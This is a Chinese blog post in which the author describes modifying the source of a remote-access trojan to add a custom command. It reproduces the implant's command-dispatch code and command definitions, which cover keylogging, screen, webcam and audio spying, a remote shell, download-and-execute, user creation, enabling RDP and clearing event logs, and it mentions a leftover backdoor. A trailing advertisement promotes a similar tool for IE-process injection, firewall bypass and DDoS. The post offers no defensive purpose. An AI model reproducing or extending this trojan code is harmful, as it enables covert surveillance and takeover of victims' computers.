为远控添加功能[1]

此篇文章只为记录我修改的过程,使用的是很笨的方法,不足以作为大家参考的文章...

一直想在远控上添加一些属于自己想要的功能,首先从被控端接收命令的一个switch结构入手


//接收主控发来的命令
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{

	switch (lpBuffer[0])
	{
	case COMMAND_LIST_DRIVE: 
	case COMMAND_SHELL: 
	case COMMAND_SCREEN_SPY:
	case COMMAND_AUDIO:
	case COMMAND_SYSTEM: 
	case COMMAND_KEYBOARD: 
	case COMMAND_WEBCAM:
	case COMMAND_SERVICE_MANAGER:
	case COMMAND_REGEDIT:
	case COMMAND_PROXY_MAP:
	case COMMAND_TEXT_CHAT:
		{
			PBYTE hMemDll   = (PBYTE)VirtualAlloc(0,nSize - 1,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
			if (hMemDll == NULL)
				break;
			memcpy(hMemDll,lpBuffer + 1,nSize -1);

//原作者遗留的后门
			if (m_bIsBackDoor)
			{
				m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DoorPlugin,
				(LPVOID)hMemDll, 0, NULL,true);
			}else
			{
				m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Plugin,
				(LPVOID)hMemDll, 0, NULL,true);
			}
		}
		break;
	case COMMAND_SESSION:
		ShutdownWindows(lpBuffer[1]);
		break;
	case COMMAND_RENAME_REMARK:
		SetHostID((LPCTSTR)(lpBuffer + 1));
		break;
	case COMMAND_CHANGE_GROUP:
		SetHostID((LPCTSTR)(lpBuffer + 1), TRUE);
		break;
	case COMMAND_DOWN_EXEC: 
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
			(LPVOID)(lpBuffer + 1), 0, NULL);
		Sleep(100);
		break;
	case COMMAND_OPEN_URL_SHOW:
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
		break;
	case COMMAND_OPEN_URL_HIDE:
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
		break;
	case COMMAND_UNINSTALL: 
		Rundll32Dll();
		break;
	case COMMAND_LOCAL_UPLOAD:
	    LocalLoad(lpBuffer ,nSize);
		break;
	case COMMAND_FIND_PROCESS: 
		CheckProcess(lpBuffer,m_pClient);
		break;
	case COMMAND_FIND_WINDOW: 
		CheckWindow(lpBuffer,m_pClient);
		break;
	case COMMAND_DOWN_UPDATE:
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UpdateServer,
			(LPVOID)(lpBuffer + 1), 0, NULL,true);
		break;
	case COMMAND_CHANGEDLLINFO:
		SendDllInfo(m_pClient);
		break;
	case COMMAND_MESSAGEBOX:
 		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Messagebox,
 			(LPVOID)(lpBuffer + 1), 0, NULL,true);
		break;
	case COMMAND_OPEN_PROXY:
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Proxy,
			(LPVOID)(m_pClient), 0, NULL,true);
		break;
	case COMMAND_CLOSE_PROXY:
		StopProxy();
		break;
	case COMMAND_PRANK:
		{
			PBYTE hMemDll   = (PBYTE)VirtualAlloc(0,nSize - 2,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
			if (hMemDll == NULL)
		       break;
			memcpy(hMemDll,lpBuffer + 2,nSize -2);
			LoadFromMemory((LPVOID)hMemDll,"",lpBuffer[1],NULL);
		}
		break;
	case COMMAND_CLEAN_EVENT:
		CleanEvent(lpBuffer[1]);
		break;
	default:
		break;
	}	
}

随便定位一个宏定义COMMAND_LIST_DRIVE设置主控为主要活动工程F12过去定位到这个文件
 

#if !defined(AFX_MACROS_H_INCLUDED)
#define AFX_MACROS_H_INCLUDED

#include <winsock2.h>
//
enum
{
	// 文件传输方式
	TRANSFER_MODE_NORMAL = 1,    	// 一般,如果本地或者远程已经有,取消
		TRANSFER_MODE_ADDITION,			// 追加
		TRANSFER_MODE_ADDITION_ALL,		// 全部追加
		TRANSFER_MODE_OVERWRITE,		// 覆盖
		TRANSFER_MODE_OVERWRITE_ALL,	// 全部覆盖
		TRANSFER_MODE_JUMP,				// 覆盖
		TRANSFER_MODE_JUMP_ALL,			// 全部覆盖
		TRANSFER_MODE_CANCEL,			// 取消传送
};
enum
{
	COMMAND_LIST_FILES = 1,			// 列出目录中的文件
		COMMAND_DOWN_FILES,				// 下载文件
		COMMAND_FILE_SIZE,				// 上传时的文件大小
		COMMAND_FILE_DATA,				// 上传时的文件数据
		COMMAND_CONTINUE,				// 传输正常,请求继续发送数据
		COMMAND_STOP,					// 传输中止
		COMMAND_DELETE_FILE,			// 删除文件
		COMMAND_DELETE_DIRECTORY,		// 删除目录
		COMMAND_SET_TRANSFER_MODE,		// 设置传输方式
		COMMAND_CREATE_FOLDER,			// 创建文件夹
		COMMAND_RENAME_FILE,			// 文件或文件改名
		COMMAND_OPEN_FILE_SHOW,			// 显示打开文件
		COMMAND_OPEN_FILE_HIDE,			// 隐藏打开文件
		COMMAND_FILES_SEARCH_START,     // 搜索文件
		COMMAND_FILES_SEARCH_STOP,      // 停止搜索
		COMMAND_MOVE_DIRECTORY,         // 移动文件夹
		COMMAND_MOVE_FILE,              // 移动文件
		
		
		TOKEN_FILE_LIST,				// 文件列表
		TOKEN_FILE_SIZE,				// 文件大小,传输文件时用
		TOKEN_FILE_DATA,				// 文件数据
		TOKEN_TRANSFER_FINISH,			// 传输完毕
		TOKEN_DELETE_FINISH,			// 删除完毕
		TOKEN_GET_TRANSFER_MODE,		// 得到文件传输方式
		TOKEN_GET_FILEDATA,				// 远程得到本地文件数据
		TOKEN_CREATEFOLDER_FINISH,		// 创建文件夹任务完成
		TOKEN_DATA_CONTINUE,			// 继续传输数据
		TOKEN_RENAME_FINISH,			// 改名操作完成
		TOKEN_SEARCH_FILE_LIST,         // 搜索出来的文件
		TOKEN_SEARCH_FILE_FINISH,       // 全部搜索完成
		TOKEN_MOVE_FINISH,
};
//
//
enum
{
	COMMAND_SCREEN_RESET = 1,			// 改变屏幕深度
		COMMAND_ALGORITHM_RESET,		// 改变算法
		COMMAND_SCREEN_CTRL_ALT_DEL,	// 发送Ctrl+Alt+Del
		COMMAND_SCREEN_CONTROL,			// 屏幕控制
		COMMAND_DISABLE_AERO,           // 禁用AERO特效
		COMMAND_SCREEN_BLOCK_INPUT,		// 锁定服务端键盘鼠标输入
		COMMAND_SCREEN_BLANK,			// 服务端黑屏
		COMMAND_SCREEN_CAPTURE_LAYER,	// 捕捉层
		COMMAND_SCREEN_GET_CLIPBOARD,	// 获取远程剪贴版
		COMMAND_SCREEN_SET_CLIPBOARD,	// 设置远程剪帖版
		
		
		TOKEN_FIRSTSCREEN,				// 屏幕查看的第一张图
		TOKEN_NEXTSCREEN,				// 屏幕查看的下一张图
		TOKEN_CLIPBOARD_TEXT,			// 屏幕查看时发送剪帖版内容	
};
//
//
enum
{
	COMMAND_PSLIST = 1,					// 进程列表
		COMMAND_WSLIST,					// 窗口列表
		COMMAND_SSLIST,                 // 用户信息
		COMMAND_USLIST,                 // 系统用户
		COMMAND_ASLIST,                 // 用户状态
		COMMAND_DSLIST,                 // 拨号密码
		COMMAND_SOFTWARELIST,           // 软件列表

		COMMAND_KILLPROCESS,			// 关闭进程
		COMMAND_KILLPROCESS_WINDOW,     // 关闭进程(窗口)
		COMMAND_WINDOW_TEST,            // 窗口隐藏、还原、最大化、最小化
		COMMAND_WINDOW_CLOSE,           // 窗口关闭

		COMMAND_ACITVEUSER,             // 启用用户
		COMMAND_DISABLEEUSER,           // 禁用用户
		COMMAND_NET_USER,               // 无net添加用户
		COMMAND_CHANGE_USERPASS,        // 更改用户密码
		COMMAND_DELUSER,                // 删除用户

		COMMAND_DISCONNECTUSER,         // 断开用户
		COMMAND_LOGOFF_USER,            // 注销用户

		COMMAND_3389_PORT,              // 更改3389端口
		COMMAND_OPEN_3389,              // 开启3389
		COMMAND_SEND_TERMSRV,           // 发送双开3389文件

		COMMAND_S_SESSION,              // 会话管理
		
		//
		TOKEN_WSLIST,					// 窗口列表
		TOKEN_SSLIST,                   // 系统信息
		TOKEN_USLIST,                   // 系统用户
		TOKEN_ASLIST,                   // 用户状态
		TOKEN_DIALUPASS,                // 拨号密码
		TOKEN_SOFTWARE,                 // 软件信息

		TOKEN_CPUMEMORY,                // cpu 内存使用率
 		TOKEN_CHANGE_PSAA_SUCCESS,      // 更改用户密码成功
		TOKEN_GET_TERMSRV,              // XP系统获取双开3389文件
		TOKEN_TERMSRV_OK,               // 双开3389成功
};
//
//
enum
{
	COMMAND_WEBCAM_RESIZE = 1,    		// 摄像头调整分辩率,后面跟两个INT型的宽高
	TOKEN_WEBCAM_DIB,			    	// 摄像头的图像数据
};
//
//
enum
{
	COMMAND_DELETESERVERICE = 100,       // 删除服务
	COMMAND_STARTSERVERICE,              // 启动服务
	COMMAND_STOPSERVERICE,               // 停止服务
	COMMAND_PAUSESERVERICE,              // 暂停服务
	COMMAND_CONTINUESERVERICE,           // 继续服务
};
//
//
enum
{
	COMMAND_REG_ENUM = 1,                 // 枚举注册表
		COMMAND_REG_CREATEKEY,            // 创建路径
		COMMAND_REG_DELKEY,               // 删除路径
		COMMAND_REG_CREATKEY,             // 创建键
		COMMAND_REG_DELVAL,               // 删除键
		
		TOKEN_REG_INFO,                   // 注册表信息
		TOKEN_REG_SUCCEED,                // 注册表成功
		TOKEN_REG_ERROR,                  // 注册表出错
		TOKEN_REG_KEY,                    // 键值数据
};
//
//
enum
{
	COMMAND_AUDIO_DATE = 1,             // 发送本地语音数据
		COMMAND_AUDIO_CHANGER,          // 更改输入设备
		COMMAND_AUDIO_CHANGER_LINES,    // 更换输入声道
		
		TOKEN_AUDIO_DATA,               // 音频数据
		TOKEN_AUDIO_CHANGE_FINISH,      // 换道成功
};
//
//
enum
{
	COMMAND_KEYBOARD_OFFLINE = 1,		// 开启离线键盘记录
		COMMAND_KEYBOARD_CLEAR,			// 清除键盘记录内容
		COMMAND_KEYBOARD_GET,			// 获取记录
		
		TOKEN_KEYBOARD_DATA,			// 键盘记录的数据
};
//
//
enum
{
	CLEAN_EVENT_ALL = 1,
		CLEAN_EVENT_SYS,
		CLEAN_EVENT_SEC,
		CLEAN_EVENT_APP
};
//
//
enum
{
	COMMAND_PROXY_CONNECT= 1, //socket5代理
		COMMAND_PROXY_CLOSE,
		COMMAND_PROXY_DATA,

		TOKEN_PROXY_CONNECT_RESULT,
		TOKEN_PROXY_CLOSE,
		TOKEN_PROXY_DATA,
		TOKEN_PROXY_BIND_RESULT
};
//
enum
{
	// 控制端发出的命令

	COMMAND_SESSION = 0,			// 会话管理(关机,重启,注销, 卸载)
	COMMAND_UNINSTALL,              // 卸载
	COMMAND_RENAME_REMARK,          // 更改备注
	COMMAND_CHANGEDLLINFO,          // 查询配置
	COMMAND_CHANGE_GROUP,           // 更改分组
	COMMAND_CLEAN_EVENT,            // 清理日志
		
	// 其他功能
	COMMAND_DOWN_EXEC,              // 下载执行
	COMMAND_DOWN_UPDATE,            // 下载更新
	COMMAND_OPEN_URL_SHOW,          // 打开网页(显示)
	COMMAND_OPEN_URL_HIDE,          // 打开网页(隐藏)
	COMMAND_LOCAL_UPLOAD,           // 本地上传
	COMMAND_MESSAGEBOX,             // Messagebox
		
	// 筛选
	COMMAND_FIND_PROCESS,           // 查找进程
	COMMAND_FIND_WINDOW,            // 查找窗口
	
	COMMAND_OPEN_PROXY,             // 开启代理
	COMMAND_CLOSE_PROXY,            // 关闭代理
 
	COMMAND_PRANK,                  // 恶 作 剧

	// 主要功能
	COMMAND_NEXT = 100,				// 下一步(控制端已经打开对话框)
	COMMAND_LIST_DRIVE,	            // 文件管理(列出磁盘目录) 
	COMMAND_SCREEN_SPY,				// 屏幕监控
	COMMAND_WEBCAM,					// 摄像头监控
	COMMAND_AUDIO,                  // 语音监听
	COMMAND_SHELL,					// cmdshell
	COMMAND_SYSTEM,                 // 系统管理
	COMMAND_KEYBOARD,				// 键盘记录
	COMMAND_SERVICE_MANAGER,	    // 服务管理	
	COMMAND_REGEDIT,                // 注 册 表
	COMMAND_TEXT_CHAT,              // 文字聊天
	COMMAND_PROXY_MAP,				// proxy

	// 预留 
	COMMAND_PLUGINME,

	COMMAND_SHOW_QQ,
	COMMAND_QQBOX,

/

	// 服务端发出的标识
	TOKEN_LOGIN = 200,				// 上线包
	TOKEN_DRIVE_LIST,				// 文件管理(驱动器列表)
	TOKEN_BITMAPINFO,				// 屏幕监控(屏幕查看的BITMAPINFO)
	TOKEN_WEBCAM_BITMAPINFO,		// 摄像头(摄像头的BITMAPINFOHEADER)
	TOKEN_SHELL_START,              // CMD
	TOKEN_AUDIO_START,				// 开始语音监听
	TOKEN_PSLIST,					// 进程列表
	TOKEN_KEYBOARD_START,			// 键盘记录开始
	TOKEN_SERVICE_LIST,             // 服务列表
	TOKEN_REGEDIT,                  // 注册表开始
	TOKEN_TEXTCHAT_START,           // 文字聊天开始
	TOKEN_PROXY_START,              // 代理映射开始

	// 其他
	TOKEN_FIND_YES,                 // 查找存在
	TOKEN_DLLINFO,                  // 查看配置

	// 预留
	TOKEN_SHOWQQ,
	TOKEN_RECV_QQ,
};

typedef struct
{	
	BYTE			bToken;			// = 1
	char			UpGroup[32];	// 上线分组
	IN_ADDR	    	IPAddress;	// 存储32位的IPv4的地址数据结构
	char			HostName[50];	// 主机名
	TCHAR           sznet[20];      //net type
	OSVERSIONINFOEX	OsVerInfoEx;	// 版本信息
	DWORD			dwMajorVer;		// 系统主版本
	DWORD			dwMinorVer;		// 系统次版本
	DWORD			dwBuildNumber;	// 系统Build版本
	char			CPUClockMhz[20];// CPU信息
	DWORD			dwSpeed;		// 网速
	UINT			bIsWebCam;		// 是否有摄像头
	bool            bIsWow64;
	DWORD           dwMemSize;
	char			MarkTime[50];	// 安装时间
	char			Virus[40];		// 杀毒软件
	char			szQQNum[250];	// 登陆QQ
	BOOL			bIsActive;	    // 用户状态
	char			RemotePort[128]; //远程端口
}LOGININFO;

#define	MAX_WRITE_RETRY			15 // 重试写入文件次数
#define	MAX_SEND_BUFFER			1024 * 8 // 最大发送数据长度
#define MAX_RECV_BUFFER			1024 * 8 // 最大接收数据长度

#endif // !defined(AFX_MACROS_H_INCLUDED)

我主要是想在这里添加一些自定义的功能:

 因为我是野路子出来的, 没有系统学习过C++ mfc等等开发,只能使用笨方法,通过关键词一步一步定位调试 :(
思路是在远程聊天宏(COMMAND_TEXT_CHAT)定义下面定义一个新的宏定义,COMMAN_CROW

主控端添加一个新的menu

然后在源码里搜下ID_MENUITEM_TEXT_CHAT 这个远程聊天的ID 看看在那里是调用的
这里捆绑了一个函数

定位到这个函数的位置,然后对着写一个新的函数捆绑上去

 

还需要添加消息响应函数


测试下看看,menu正常

处理函数正常:

OK了,开始往网络通讯走了,现在是要往被控端发送一个命令,然后被控端根据这个命令[宏定义]来本地弹窗!

思路,在主控中搜索命令宏定义,COMMAND_TEXT_CHAT 例如这种

	nTextChatPacketLength = (CHATMyFileSize + 1)*sizeof(char)+1;
	lpTextChatPacket = new BYTE[nTextChatPacketLength];
	if(lpTextChatPacket == NULL)
	{
		AfxMessageBox("初始化TextChat插件失败!");
	}
	else
	{
		lpTextChatPacket[0] = COMMAND_TEXT_CHAT;
		memcpy(lpTextChatPacket + 1, (void*)CHATMyFileBuf, nTextChatPacketLength - 1);
	}

发现这些代码只是为了初始化,再换一个宏定义,COMMAND_DOWN_EXEC 这个命令是用来下载运行

ctrl+f没有搜到,然后仔细翻了下源码找到后,对着修改了下

void CPcView::OnMenuitemReboot() 
{
	// TODO: Add your command handler code here
	BYTE bToken[2];
	bToken[0] = COMMAND_SESSION;
	bToken[1] = EWX_REBOOT | EWX_FORCE;
	SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));	
	LocalFree((LPBYTE)&bToken);
}

//对着修改后的
void CPcView::OnMenuCrow() 
{
	// TODO: Add your command handler code here
	//MessageBox("CROW",NULL,NULL);
	BYTE bToken[2];
	bToken[0] = COMMAND_CROW;
	SendSelectCommand((LPBYTE)&bToken,sizeof(bToken));
	LocalFree((LPBYTE)&bToken); //释放掉
}

编译下主控,主控上的已经完事了,现在已经可以通过GUI点CROW菜单发送给被控CMMAND_CROW命令了,去修改下被控那边的接收后的处理,基本上就完事了

case COMMAND_CROW:
		MessageBox(NULL,"CROW",NULL,NULL);
		break;

增加一个消息处理应该就完事了。

然后不知道为啥,远控可以正常上线,但是一切功能都无法使用,奇怪了,

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
上兴远程控制2012: 专业超级远程控制,超强的管理功能,适用于电脑爱好者、家庭、学校、公司、单位远程管理计算机! ------------------------------------------------------------------------------------------------------------------ 软件特性: 服务端穿防火墙插入IE进程,还能自定插入系统目录的文件,不用生成DLL文件,无驱动隐藏, 全新内核:使用iocp(完成端口)技术,高性能稳定网络模型; 自动识别系统,兼容XP、服务器系统、WIN7系统! 使用微软DirectX接口支持所有系统的USB摄像头捕获! GSM610压缩清晰流畅音频传输; 领先的高速屏传算法,CPU只占用1-10%,网络传输最高达到每秒20帧; 文件监控操作方便, 实现文件和文件夹的批量高速传输; 服务,注册表,进程,CMD,软件管理完全模似操作系统,象操作自已的电脑一样; 宽带信息查看,键盘输入捕获,远程抓包,DDos压力测试,Sock5代理,集群式启动项添加等等。 ------------------------------------------------------------------------------------------------------------------ 软件使用环境: WinXP/Win2000/Win2003/Win2008/VISTA/WIN7版本,不能在Win98/Linux/MAC OS/安卓下使用 CPU:Pentium 350以上,内存:256MB以上, 磁盘空间1G以上, 电信、网通、联通...宽带网络 ------------------------------------------------------------------------------------------------------------------ 安装包说明: rejoice.exe: 主程序; Generate.exe: 辅助生成工具; I2012.ini: 配置存储文件; ICO文件夹: 放置ICO图标; Server文件夹: 放置原始服务端(注:Server文件夹必须要与主程序同一目录下!原始服务端*.Dat不能重命名!); Sound文件夹: 放置上下线提示声音文件; QQWry.Dat: IP数据库纯真精简版(www.cz88.net),请定期更新最新的IP数据库; 以上文件(文件夹)必须要与主程序rejoice.exe同一目录下。 ------------------------------------------------------------------------------------------------------------------

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值